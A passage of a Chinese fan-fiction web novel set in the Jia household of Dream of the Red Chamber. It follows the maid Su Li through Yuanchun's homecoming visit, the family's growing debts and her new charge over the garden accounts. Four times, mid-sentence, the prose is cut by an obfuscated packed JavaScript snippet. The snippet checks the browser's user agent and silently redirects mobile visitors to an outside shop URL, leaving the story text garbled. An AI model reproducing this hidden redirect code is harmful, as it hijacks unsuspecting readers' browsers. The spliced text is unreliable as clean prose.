转眼已是腊月，省亲之日定在了正月十五上元佳节。进了腊月，府中气氛更是紧张到极致。各处打扫装饰，演练礼仪，置办年货节礼，忙乱不堪。好容易捱到年下，祭祖、守岁、拜年，诸般礼仪匆匆而过，所有人的心思，都早已飞到了正月十五那夜。 元宵佳节，终于到了。 这一日，自五鼓起，贾府上下人等都按品大妆起来，府内外各处，帐舞蟠龙，帘飞彩凤，金银焕彩，珠宝争辉，鼎焚百合之香，瓶插长春之蕊，静悄悄无一人咳嗽。贾赦、贾政等有爵者，俱在西街门外；贾母等内眷，皆在荣府大门外。街头巷口，俱系围幕挡严。 苏璃等有体面的丫鬟，亦按吩咐装扮齐整，在指定位置侍立。她穿着一身府里新做的水绿绫袄，青缎掐牙背心，白绫细折裙，头上簪着两支素银簪子，脸上薄施脂粉，站在贾母院外穿堂的廊下。这里虽不能亲见銮驾，却能感受到那股山雨欲来、屏息凝神的肃穆与期盼。 时辰一点点过去，从清晨到晌午，又从晌午到傍晚。天色渐暗，府中千百盏各色精致灯笼次第点亮，将偌大的荣宁二府照耀得如同琉璃世界，珠宝乾坤。寒风凛冽，众人站得腿脚酸麻，却无人敢动，只听得见远处隐约传来的更鼓声，和间或一两声压抑的咳嗽。 忽听外面马蹄声响，由远及近，接着是静鞭三响，鼓乐声大作。众人精神一振，知道是銮驾到了。苏璃屏住呼吸，只听外面山呼拜舞之声，隐隐传来内监尖细的唱喏。又过了许久，才见前面仪仗引导，一对对龙旌凤翣，雉羽夔头，又有销金提炉焚着御香，然后一把曲柄七凤黄金伞过来，便是冠袍带履。又有值事太监捧着香珠、绣帕、漱盂、拂尘等物。一队队过完，后面方是八个太监抬着一顶金顶金黄绣凤版舆，缓缓行来。 贾母等连忙路旁跪下。版舆停下，早有太监过来，扶起贾母、邢夫人、王夫人。那版舆抬入大门，入仪门往东去，到一所院落门前，有执拂太监跪请下舆更衣。于是抬舆入门，太监等散去，只有昭容、彩嫔等引领元春下舆。 苏璃等丫鬟随着众人，按早已演练好的路径，静默而迅速地移动至省亲别墅——大观园的正殿“顾恩思义”殿外阶下侍立。只见殿内灯火通明，香烟缭绕，隐隐传来环佩叮咚与压抑的呜咽之声。那是元春与贾母、王夫人等相见，彼此忍悲强笑，叙说离别之情。 许久，才听里面传谕，命宝玉及众姊妹觐见。又过了半晌，方有太监出来传旨：“赐宴。”于是礼仪太监引着贾赦、贾政等男眷于外殿，贾母等女眷于内殿，分别筵宴。虽说是“赐宴”，实则元春心中凄楚，众人亦强颜欢笑，珍馐美味当前，也食不知味。 宴毕，元春起身，命人备舆，欲往园中游幸。此时已是亥时，月上中天，清辉洒落，与园中万千灯火交相辉映，更添璀璨。苏璃随着侍奉的丫鬟队伍，远远跟在銮舆之后，入了大观园。 一入园中，只见处处灯光相映，时时细乐声喧，说不尽这太平气象，富贵风流。元春在舆内看了此园内外如此豪华，因默默叹息奢华过费。下舆登舟，只见清流一带，势如游龙，两边石栏上，皆系水晶玻璃各色风灯，点的如银光雪浪；上面柳杏诸树虽无花叶，然皆用通草绸绫纸绢依势作成，粘于枝上的，每一株悬灯数盏；更兼池中荷荇凫鹭之属，亦皆系螺蚌羽毛之类作就的。诸灯上下争辉，真系玻璃世界，珠宝乾坤。船上亦系各种精致盆景诸灯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950499|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠帘绣幕，桂楫兰桡，自不必说。 苏璃跟在岸上随行，看着这穷奢极欲、巧夺天工的景致，耳中听着隐约传来的元春与薛、林、探春等姊妹的赋诗唱和之声，心中却无半分欣悦，只觉一股冰冷的虚幻感。这满园辉煌，是多少白花花的银子堆砌而成？这短暂一夜的“天伦之乐”，背后又是多少人的心力交瘁与财政的岌岌可危？元春那声无人听见的叹息，或许才是这繁华盛景下最真实的注脚。 游幸毕，元春至正殿，再次升座受礼，又赏赐了众多礼物与贾母、王夫人等。眼看到了丑正三刻，请驾回銮的时辰已到。元春虽不忍别，怎奈皇家规范，违错不得，只得忍心上舆去了。 众人送驾回来，卸了妆容，一个个精疲力尽，却又带着一种过度兴奋后的空虚与茫然。主子们自去安歇，下人们则忙着收拾残局。苏璃回到账房附近的小院，已是后半夜。她褪下那身为了今日才上身的簇新衣裳，换上平日的旧袄，坐在灯下，却毫无睡意。 桌上，还摊开着白日未及整理完的几份账单，都是省亲最后关头临时采买、打点的费用，数额不小。她揉了揉眉心，正欲提笔，忽听窗外传来极轻微的“嗒”一声，像是什么小石子落在瓦上。 她心中一动，警醒起来。轻轻吹熄了灯，走到窗边，透过缝隙向外望去。月色朦胧，院中树影婆娑，并无异状。她屏息等了一会儿，正要退回，却见对面墙角阴影处，似乎有片衣角一闪而过，随即没入黑暗，再无动静。 是谁？巡夜的婆子？还是……别的什么人？ 苏璃的心跳漏了一拍。今日府中人多眼杂，龙蛇混杂，难保没有宵小之辈混入，或是某些有心人趁机窥探。她迅速回想自己近日有无行差踏错，有无留下什么可能引人注目的把柄。是那些账目？还是她与“粤海记”那边极其隐秘的联系？ 她轻轻关严窗户，插好门闩，背靠着冰冷的门板，在黑暗中静静站立。元春省亲的喧嚣与辉煌犹在眼前，但那墙角一闪而过的黑影，却像一根冰冷的刺，扎进了这浮华梦境的最深处。 盛宴已散，光华落幕，留下的不仅是疲惫和空虚，还有这深宅夜幕下，悄然浮现的、无法窥测的危机。她缓缓走回桌边，就着窗外透进的微光，摸到那支惯用的毛笔，指尖冰凉。 山雨，真的要来了么？而这风雨之中，她这只小心翼翼、刚刚开始编织自己罗网的雀鸟，又该如何自处，方能不被吹折羽毛，甚至……趁风而起？ 夜色浓重，万籁俱寂，只有远处隐约传来收拾器具的细微声响，更衬得这小小耳房，寂静得令人心慌。苏璃握着笔，在黑暗中睁着眼，直到东方泛起一丝鱼肚白。 38. 烈火烹油 元春省亲的喧嚣与辉煌，如同上元夜最绚烂的烟火，盛放到极致后，便迅速消散在黎明前的黑暗中，只留下一地冰凉的灰烬和刺鼻的硝烟气息。 銮驾回宫，荣宁二府那紧绷了数月、乃至数年的弦，骤然松弛，随之而来的不是轻松，而是更深重的疲惫与一种难以言喻的空虚。 府中上下，从主子到奴才，都像被抽去了筋骨，恹恹地提不起精神。 连续数日，各处都在忙着撤去陈设、收拾器皿、清点赏赐、结算工钱。那些为省亲而张挂的彩灯、铺设的红毡、陈设的古玩，被一一取下、卷起、归库，露出了府邸原本略显陈旧的面目，仿佛一场华美梦境醒来，面对的依旧是冰冷而窘迫的现实。 苏璃的账房，成了这场盛宴后最忙碌、也最令人窒息的地方。省亲期间所有庞大而混乱的开支，此刻都需要整理、核对、归档。采买物资的尾款、工匠仆役的赏银、各处人情的打点、乃至宴席上损耗的杯盘器皿……林林总总，单据堆积如山。空气中弥漫着纸张、墨汁和一种无声的焦虑混合的气味。 她埋首于账册之间，算盘珠子的噼啪声日夜不息。越是对账，她心头那股寒意就越重。省亲别墅的建造、装修、布置，本就耗资巨万；元春归省这一夜的排场、赏赐、宴席，更是花钱如流水。 账面上一笔笔惊人的数字，触目惊心。 公中的存银早已告罄，凤姐的体己填进去不少，暗中向银号挪借的款项，利息滚利息，已成了一笔沉重的负担。而府中日常的开销、各房的月例、田庄铺面那日渐减少的进益，却一样不能少。 这日，她正在核算一批支付给“粤海记”的玻璃器皿和自鸣钟的尾款，林之孝家的愁眉苦脸地进来回话：“璃姑娘，库上实在支应不开了。后儿要发放上月的月钱，还有几处庄子上来催秋粮折银的，账上现银不足千两，这可如何是好？” 苏璃从账册中抬起头，揉了揉酸胀的眉心。这已不是第一次了。她沉吟片刻，问道：“金陵老宅那边，年前说的那笔银子，有消息了吗？” 林之孝家的摇头：“前儿信使回来，说那边年景也不好，收上来的租子有限，勉强够那边府里开销，实在挪腾不出多少来。” 苏璃沉默。远水救不了近火。她想了想，道：“月钱是断不能拖的，否则底下人心就散了。这样，我先将账上这千两银子预备出发放月钱，庄子上催粮的，你让他们再宽限几日，就说府里近日有事，银子一时周转不开，待过了这几日便结。我……我去回二奶奶，看看能否再从别处挪借些应急。” 林之孝家的叹气道：“也只好如此了。只是这般拆东墙补西墙，终究不是长久之计啊。”她摇着头出去了。 苏璃看着她的背影，心中沉重。何尝不是长久之计？这贾府的外强中干，她比谁都清楚。省亲这场“烈火烹油”的盛宴，几乎烧干了最后的底蕴。 她起身去找凤姐。凤姐歪在炕上，脸色蜡黄，正由平儿伺候着喝药，显然是连日劳累，又加上银钱事烦心，旧疾复发了。见苏璃进来，她有气无力地抬了抬眼：“什么事？” 苏璃将银钱短缺的事委婉回了。凤姐听完，闭目半晌，才疲惫道：“知道了。我那里还有两箱子没上账的头面首饰，你让平儿找出来，悄悄拿去‘恒舒典’兑了，应应急罢。只是……别声张。” “是。”苏璃心中恻然。连凤姐的体己都要典当了，可见府中艰难到了何种地步。她应下，又道：“奶奶，如今府中用度浩繁，进项却少，长此以往，恐难以为继。是否……是否能在节流上再想想办法？或者，催一催外面几处庄子和铺面的收益？” 凤姐苦笑一声，声音沙哑：“节流？如今哪里还能再节？各房各院都瞪着眼看着，再克扣，只怕怨声载道。外面的收益……哼，那些庄头铺主，一个个滑似鬼，年成好时也报灾报荒，如今更是指望不上。”她摆摆手，“这些事日后再说，你先去把眼前的难关过了。” 苏璃知道多说无益，便告退出来，与平儿一同去清点首饰。看着那些珠光宝气的钗环玉佩被一一装入匣中，苏璃心中更觉悲凉。这虚假的繁华，还能支撑多久？ 典当首饰换来的银子，如同杯水车薪，很快又消耗殆尽。府中的气氛日渐压抑。主子们或许还沉浸在省亲带来的荣耀余晖中，或忙于年节交际，但底下人却敏锐地感受到了不同。月钱发放虽未延误，但份例里的东西开始以次充好，大厨房的菜蔬肉食也不如往日新鲜丰盛，连冬日各房份例的炭火，都明显减了量，惹得赵姨娘等人在背后抱怨不休。 这日，苏璃正在核对年下给各府送礼的清单，力求在维持体面的前提下，尽量节省开支。忽见小丫鬟引着周瑞家的进来。周瑞家的自上次被惩处后，沉寂了许久，如今虽没了实权，但因是王夫人的陪房，面上依旧还算客气。 周瑞家的脸上堆着笑，手里拿着个单子：“璃姑娘忙着呢？打扰了。我们太太想起，往年这时候，都要给清虚观的张真人送一份年例香火钱，今年事多，怕是忘了。太太让我来问问，这笔银子，公中可还预备着？” 苏璃心中一动，清虚观的年例香火？她快速翻阅账册，并无此项专门预算。她不动声色道：“周妈妈，今年各项开支都有定例，这笔银子并未单列。若是太太吩咐，自然要办。只是不知往年惯例是多少？从哪项下支取？” 周瑞家的笑道：“往年都是二十两银子，从老太太的香油月例里出，或者公中杂项里勾了都有。今年既然没单列，姑娘看着从方便处支取便是，总不能短了真人的香火。” 二十两！苏璃心中冷笑，如今府里几千两的缺口，二十两看似不多，但这类名目不清的“香火”、“布施”积少成多，也是一笔不小的开销。而且，周瑞家的此刻来提，是真为香火，还是想试探如今账目管束的松紧？或者，另有所图？ 她面上不显，只道：“原来如此。既然有旧例，自然该办。只是如今账目需得清晰，烦请周妈妈回明太太，这笔银子，是走公中杂项，还是从老太太份例里出？需得有个明确的章程，奴婢也好登记造册。” 周瑞家的笑容淡了些：“姑娘如今是越发谨慎了。这点子小事，姑娘做主便是，难道太太还会计较不成？” 苏璃语气温和却坚定：“不是计较，是规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950500|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩如此。如今每一笔进出都需账目清楚，免得日后核对起来麻烦。还是请妈妈讨个太太的明确示下才好。” 周瑞家的盯了苏璃一眼，见她神色平静，目光清澈，知道这丫头如今羽翼渐丰，轻易糊弄不得，只得讪讪道：“既如此，我回去问问太太。”说罢，转身走了。 平儿在一旁听着，低声道：“她如今倒是会寻由头。” 苏璃淡淡道：“树欲静而风不止。如今府里艰难，各方都看着，我们更需步步为营，不能授人以柄。”她心知，周瑞家的此举，不过是冰山一角。随着府中财政日益窘迫，以往被繁华掩盖的种种矛盾和算计，都会逐渐浮出水面。 果然，没过两日，贾琏琏又为了一笔在外应酬的款项与凤姐发生争执。贾琏琏嫌支取手续繁琐，数额受限，在外丢了面子，言语间竟隐隐牵出苏璃，说她“挟制主子”、“刻薄刁钻”。凤姐虽当时压了下去，但苏璃能感觉到，那看似平静的水面下，暗流愈发汹涌。 她将自己藏得更深，除了必要的账务，几乎不与人交往。每日深夜，她依旧会在灯下，用只有自己能懂的符号，在那本花样子册子上记录着。记录府中真实的财务状况，记录从各方听来的物价、商路信息，记录她那些关于“出海”、“商号”的渺茫构想。这是她在窒息般的现实中，唯一能呼吸到的一点自由空气，是她对抗注定沉沦命运的唯一武器。 然而，府外的世界，也并非净土。这日，她派去“粤海记”打听南洋香料价格的小丫头悄悄回来，带回的消息却令人沮丧。说是近来海禁风声紧，市舶司查得严，南洋来的香料价格飞涨且货源不稳，风险极大。小丫头还惴惴地补充道，铺子里伙计闲聊时说起，京城里几位王爷贝勒府上，似乎也对海外贸易颇有兴趣，暗地里较着劲呢。 苏璃的心沉了下去。连这条路，也布满了荆棘吗？王公贵胄的插手，意味着更高的门槛和更大的风险。她一个无根无基的丫鬟，想要在这虎狼环伺中分一杯羹，简直是痴人说梦。 腊月二十三，祭灶过后，年味渐浓，但荣国府的这个年，却过得有些冷清和压抑。虽然门上依旧换了桃符，张贴了门神，庭燎烧得通红，但较之往年，排场显然缩减了不少。赏赐下人的荷包、铜钱也薄了些，引得底下人窃窃私语。 除夕夜，合家团聚守岁，贾母勉强打起精神，说了些吉利话，但席间气氛总透着几分强颜欢笑。宝玉和姊妹们虽依旧说笑，却也感到了那股无形的压力。苏璃随众人在廊下伺候，看着满堂灯火下那一张张或疲惫、或焦虑、或茫然的脸孔，只觉得那“烈火烹油”之后的灰烬，冰冷地覆盖在每个人的心头。 旧岁在沉闷的钟声中逝去，新年在寒冷的晨曦中来临。苏璃站在阶下，呵出的白气瞬间消散在凛冽的空气里。她不知道，这艘千疮百孔的大船，还能在冰面上航行多久。而她这只依附其上的蜉蝣，是该随船沉没，还是该在船沉之前，奋力跃向那未知的、可能更加凶险的深海？ 她握紧了袖中那本薄薄的册子，指尖冰凉。答案，或许就藏在这看似绝望的沉寂里，需要她用十二万分的小心和勇气，去慢慢寻找。 39. 盛极隐忧 正月里的热闹，如同将尽未尽的烟火余烬，勉强维持着表面的光亮与噼啪声响，内里却已是冰冷灰暗。元春省亲带来的“天恩祖德”荣耀，在年节走亲访友的客套恭维中被反复咀嚼，渐渐也失了最初的鲜味，只剩下一种程式化的、略带疲惫的炫耀。 荣国府的门庭依旧车马不绝，但细心人却能察觉，那往来贺岁的宾客中，真正的世交显贵似乎少了些，多了些趋炎附势、打秋风之流。 府内，过年的赏赐比往年薄了，各房的份例用度也悄然收紧。大厨房的菜单减了花样，主子们或许不甚在意，底下人却已怨声载道。连宝玉屋里，往常堆满新鲜时果、精巧点心的攒盒，如今也显得空荡了些。袭人私下里叹气，对着麝月抱怨：“如今连份例里的苹果都不如往年水灵了，可见外头庄子上的进益，真是一年不如一年。” 这话不知怎的传到赵姨娘耳中，她便逮着机会在王夫人跟前嘀咕：“如今外头看着是鲜花着锦，内里却连个果子都要计较了。到底是当家的不会算计，白费了娘娘带来的体面。”王夫人听了，只捻着佛珠，淡淡说了句“家和万事兴”，便不再言语，赵姨娘讨了个没趣，只得讪讪退下。但这话终究像颗种子，落在了某些人心里。 苏璃依旧埋首账房。年节的开销、往来的礼单、各处的打赏，又是一大笔糊涂账。她尽力厘清，将不必要的花费一一裁减，能省则省，饶是如此，账面依旧触目惊心。府中的银库，早已是拆东墙补西墙，寅吃卯粮。凤姐典当首饰换来的银子，如投石入海，连个响动都没听见，就没了踪影。 这日，她正核对庄子上的年租折银账目，发现好几处田庄报上来的数目都比往年短了两三成，理由无非是“年景不好”、“雨水不调”。苏璃对着账册，眉头紧锁。她虽未亲见，但根据前世粗浅的农业知识也知道，去年并非大灾之年，这般减收，恐怕“天灾”是假，“人祸”是真——那些庄头管事，怕是欺上瞒下，中饱私囊了。 她将这几处账目标注出来，准备找机会回禀凤姐。正思忖间，平儿掀帘进来，脸上带着一丝不易察觉的忧色，低声道：“妹妹，奶奶让你过去一趟，林之孝也在。” 苏璃心中一动，收拾了账册，跟着平儿来到凤姐正房。只见凤姐歪在暖炕上，脸色比前几日更差了几分，林之孝垂手站在地下，神色凝重。 见她进来，凤姐示意她坐下，开门见山道：“叫你俩来，是有件棘手事。刚才赖大来回，说是修盖省亲别墅时，挪用了老祖宗宗祠祭田上一笔银子，原是应急，想着日后填补。如今年底盘账，那边管事的催得紧，说是开春祭祀要用，定要归还。数目不小，账上如今空空如也，你们看，如何是好？” 林之孝苦着脸道：“二奶奶，不是小的推诿，实在是各处都紧巴巴的。庄子上收成不好，铺子里生意也淡，年下各处的礼尚往来又是一大笔开销。这宗祠祭田的银子，动不得啊！若是被族里知道，可是大不敬的罪名！” 凤姐揉着额角，头痛欲裂：“我何尝不知动不得？可当时工程急等银子用，一时无处拆借，才……如今可真是搬起石头砸自己的脚！”她看向苏璃，“你管着账，最清楚不过，如今可还有能挪动的地方？” 苏璃心念电转。宗祠祭田，乃是家族根本，动了这笔银子，万一泄露出去，不仅凤姐管家之位难保，连贾政、贾赦都要受牵连。这已不是寻常亏空，而是关乎家族体统和凤姐身家性命的大事。 她沉吟片刻，谨慎开口：“奶奶，林管家说得是，祭田银子是断不能动的。如今账上确实支绌，但……是否可以从别处想法子周转？比如，府中可还有暂时用不着的古玩字画、或是些笨重器皿？或可暂押当铺，换取现银应急，待日后宽裕了再赎回来？再或者，是否可向相熟的世家，如王府、侯府，暂时挪借一些？总比动祭田的银子稳妥。” 凤姐眼睛一亮，随即又黯淡下去：“典当东西……传出去更不好听。至于挪借，”她苦笑一声，“如今这光景，家家有本难念的经，谁肯轻易外借？便是有，那利息……” 林之孝也道：“璃姑娘这法子虽好，但典当东西，终究不是长久之计，且有损府里体面。向别家挪借，如今娘娘刚省亲，外头看着风光，若传出借贷的名声，只怕……” 三人都沉默了。屋内只听得见炭盆里哔剥的轻响和凤姐略显沉重的呼吸。空气仿佛凝固了一般。 良久，凤姐长叹一声，仿佛瞬间苍老了几岁：“罢了，我再想法子。你们先去吧，此事……绝不可外传。” 苏璃和林之孝对视一眼，皆看到对方眼中的沉重，无声地退了出去。 走出院子，林之孝压低声音对苏璃道：“姑娘，这事……怕是难了。祭田的银子，我隐约知道一些，数目不小。二奶奶便是掏空体己，怕也填不上这个窟窿。” 苏璃心中一沉：“林管家可知，具体是多少？” 林之孝左右看看，凑得更近些，用几乎听不见的气音道：“怕是不下……这个数。”他伸出两根手指。 两万两！苏璃倒抽一口冷气。这绝不是小数目！凤姐的体己再多，也经不起这般填窟窿。难怪她愁成这样。 “就没有别的法子了吗？”苏璃问。 林之孝摇头：“难。除非……除非能立刻有一大笔进项。可如今这年景，田庄铺子都指望不上。除非……”他欲言又止。 “除非什么？” 林之孝声音更低：“除非，动了根本，变卖些祖产，或是……动那些不能动的‘黑钱’。”他说完，自己先打了个寒噤，连连摆手，“这话当我没说，姑娘千万别往外传！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950501|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏璃看着林之孝匆匆离去的背影，站在原地，只觉得一股寒意从脚底升起。变卖祖产？动用“黑钱”？无论哪一条，都是饮鸩止渴，会将贾府更快地推向深渊。而凤姐，已被逼到了悬崖边上。 她恍恍惚惚走回账房，坐在冰冷的椅子上，连平儿端来的热茶都忘了接。窗外，不知何时飘起了细雪，纷纷扬扬，落在枯枝败叶上，更添凄清。 盛极而衰，这衰败的迹象，已如此清晰而狰狞地显露出来。省亲的烈火，烹干了最后一滴油；秦可卿丧事的奢靡，又雪上加霜。如今连宗祠祭田的银子都被挪用，这个家族，已经从根子上开始腐朽了。 她想起水澈那句冷冽的警告：“木秀于林，风必摧之。堆出于岸，流必湍之。有时候，过犹不及。”如今看来，何止是“过犹不及”，简直是烈火烹油之后的釜底抽薪！ 而她呢？依附在这艘行将沉没的破船上，又能支撑多久？她的那些暗中筹划，在这样的大厦将倾面前，显得如此渺小可笑。出海？商号？没有雄厚的资本，没有可靠的靠山，没有得力的臂助，这一切不过是空中楼阁。 可是，难道就这样坐以待毙吗？不，绝不能。 她猛地站起身，走到窗边，推开一条缝隙。冰冷的空气夹杂着雪花涌入，让她混沌的头脑清醒了一些。林之孝那句“不能动的黑钱”在她脑中盘旋。什么是“不能动的黑钱”？是贾府这些年通过见不得光的手段聚敛的财富？藏在哪里？谁在掌管？这或许是最后的救命稻草，也是更危险的陷阱。 还有，凤姐会怎么做？以她的性格和处境，绝不甘心坐以待毙。她会去求王夫人？还是动用更隐秘的手段？王夫人知道祭田银子被动用的事吗？如果知道，她会如何反应？是帮着隐瞒填补，还是…… 无数个念头在她脑中飞速旋转，交织成一团乱麻。她感到自己正站在一个巨大的漩涡边缘，稍有不慎，便会被吞噬得尸骨无存。 雪越下越大，很快将庭院染成一片素白，掩盖了所有污秽与不堪。但苏璃知道，掩盖只是暂时的，当冰雪消融，那下面的疮痍与隐患，只会更加触目惊心。 她轻轻关上窗，转身回到书案前。账册上那些冰冷的数字，此刻仿佛有了生命，张牙舞爪地向她扑来。她深吸一口气，拿起笔，蘸饱了墨，在空白的纸页上，写下几个只有自己能懂的符号。 那是一个危险的计划，一个或许能让她窥探到贾府最后隐秘、甚至攫取一线生机的计划。风险巨大，但值得一试。她的目光，落在了账册上记录与各王府、侯府往来礼单的那一页。北静王府……水澈。那个能看透虚妄、冷静到近乎冷酷的男人。 或许，绝境之中，也藏着意想不到的转机。雪落无声，而她心中的谋划，却如这越下越密的雪花，渐渐成型。 40. 谋划 宗祠祭田银子被挪用一事，如同一块巨石投入看似平静的深潭，在荣国府内部激起了难以察觉却深不见底的漩涡。凤姐虽严令林之孝与苏璃守口如瓶，但那股沉重的压力与焦虑，却如同无形的寒气，弥漫在她所到之处。她眼下的乌青愈发浓重，脾气也越发阴晴不定，连平儿在她跟前回话，都需加倍小心。 苏璃更是如履薄冰。她深知此事干系重大，一旦泄露，便是倾族之祸。而凤姐被逼到绝境，会做出何等举动，实难预料。她不能再被动等待，必须主动谋划，为自己，也为这具身体残存的一丝牵挂，寻一条生路。 水澈那句“真正开源”的提点，以及林之孝无意中透露的“不能动的黑钱”，如同两点微光，在黑暗中为她指明了方向。风险巨大，但机遇亦然。她需要一个契机，一个能接触到贾府最核心机密、又能与外界建立隐秘联系的契机。 机会，总是留给有准备的人。正月十五上元节刚过，府中还残留着年节的慵懒气息，一则消息悄然传开：因省亲别墅工程浩大，后续尚有诸多收尾、陈设、打理事宜，加之元妃娘娘偶有垂询园景，府中决定设一“园内总管事”，专司园中一应器物保管、花木养护、日常巡查等务，秩同二等管家，需得是极妥当、懂账目、识文墨之人。 消息一出，府中略有头脸的管事、甚至有些体面的大丫鬟，都不免动了心思。大观园是贵妃省亲之地，地位超然，园内管事虽不管外头经济庶务，但靠近内帷，能时常见到主子，且掌管着园中无数珍贵陈设，是个既有体面、又有油水的清闲肥差。 凤姐为此事，特意召见了林之孝、吴新登等几个心腹管家商议人选。平儿在一旁伺候，苏璃则照例在旁记录要点。 林之孝道：“园中事务虽不繁难，但关乎娘娘体面，一草一木皆需精心。此人必要心细、稳妥，还得略通文墨，能登记造册，免得器物有所遗失。” 吴新登接口道：“正是。我看库上的张材不错，人老实，也认得几个字。” 又有人提了几个名字，凤姐皆不置可否，只捻着手中的蜜蜡佛珠，沉吟不语。她目光扫过垂首记录的苏璃，心中微微一动。这丫头心思缜密，账目清楚，行事也稳妥，更难得的是口风紧，不搬弄是非。只是……年纪太轻，又是丫鬟出身，骤然提拔为管事，恐难以服众，且她如今掌着账房，也离不开。 正犹豫间，忽听外面丫鬟回道：“奶奶，东府珍大奶奶来了。” 话音未落，尤氏已笑着走了进来，见面便道：“好妹妹，我正有事求你。听说你们府里要选个园子总管事？我瞧着，我们那边屋里的彩明，人还机灵，也认得字，不如让她过来帮衬帮衬？” 凤姐心中冷笑，尤氏这是想把手伸到西府来了？面上却笑道：“大嫂说哪里话，一个园子管事，何劳你亲自开口。只是这人选，还需仔细斟酌，总要老太太、太太点了头才好。” 尤氏碰了个软钉子，讪讪地又说了几句闲话，便起身告辞了。 尤氏一走，凤姐脸色便沉了下来。平儿低声道：“奶奶，东府那边的手也伸得太长了。” 凤姐冷哼一声：“她那是瞧着园子里清闲，想安插自己人捞油水呢！”她顿了顿，目光再次落到苏璃身上，心中有了计较。苏璃是她的人，忠心可靠，能力也够，若让她兼管园中器物账目，既堵了东府的嘴，又能将园中财物牢牢控在自己手中，岂不两全其美？只是需得有个由头，不能显得太过刻意。 她想了想，对林之孝等人道：“你们提的人，我都知道了。园中事务虽不杂，但一应陈设器玩，皆价值不菲，账目必要清晰。这样吧，园中具体巡查保管事宜，另选稳妥老成之人。至于所有器玩、陈设、花木的登记造册、稽核账目，仍归账房统一管理，由苏璃兼管，定期入园查验对账。如此，既专业一，也免得多头管理，出了纰漏。” 林之孝等人闻言，互相对视一眼，心知这是凤姐要将财权抓得更紧，自然无有不从，纷纷附和：“奶奶思虑周全，如此甚好！” 苏璃在一旁听着，心中狂跳！这简直是天赐良机！兼管园中器物账目，意味着她可以名正言顺地频繁出入大观园，接触那些可能隐藏着秘密的角落，甚至……有机会接触到管理园中具体事务的人，从而探听消息，发展眼线。而且，园中器玩多有登记，或许能从中窥见一些贾府财产转移、隐匿的蛛丝马迹！ 她强压下心中激动，上前一步，恭声道：“奴婢遵命。定当尽心竭力，将园中一应器物账目打理清楚，绝不负奶奶信任。” 凤姐满意地点点头：“你是个稳妥的，我自然放心。平日账房的事仍是主项，园中账目，每月核对一次便可，若有贵重器物移动、添减，随时登记。一应事宜，直接向平儿回禀。” “是。”苏璃垂首应下。 此事一定，消息很快传开。有人羡慕苏璃更得重用，有人嫉妒她年纪轻轻便手握重权，也有人觉得兼管园账是个辛苦不讨好的差事。苏璃皆不理会，只默默准备。 她做的第一件事，便是调阅所有关于大观园器玩陈设的原始账册和清单。这些册子堆了满满一箱子，记载着省亲前后采买的各色古董、文玩、字画、屏风、瓷器、家具乃至帐幔、椅搭等物，种类繁多，价值不菲。苏璃埋首其中，一一核对，不仅看名称、数量，更留意采买来源、价格、以及……经手人。 一连数日，她除了处理日常账目，便是在灯下翻阅这些册子。她发现，大部分物品采买手续齐全，账目清晰。但有几笔，引起了她的注意。一是几件前朝古画和青铜器，标注为“家藏”，未记价值，经手人是贾珍。二是有一批紫檀木嵌螺钿的家具，采买价格远高于市价，经手人是赖大。三是几样西洋来的自鸣钟、玻璃屏风等物，来源写着“粤海记”，但价格模糊，只记了“议价”，经手人是贾琏。 这些模糊之处，是否藏着什么秘密？那些“家藏”古玩，是真的祖传，还是……变相变现？那高价紫檀家具，差价落入了谁的口袋？贾琏经手的洋货，又有什么猫腻？ 苏璃将这些疑点默默记在心中，用只有自己能懂的符号，标注在那本花样子册子上。她知道，这些只是冰山一角，真正的秘密，恐怕藏在那些未曾登记、或登记含糊的“隐产”之中。 这日，她第一次以查验账目为由，带着两个小丫鬟，进了大观园。时值早春，园中积雪未融，草木凋零，一派肃杀景象。省亲时的灯火辉煌、锦绣繁华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950502|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已不见，只有几个看守园子的婆子，缩在耳房里烤火。 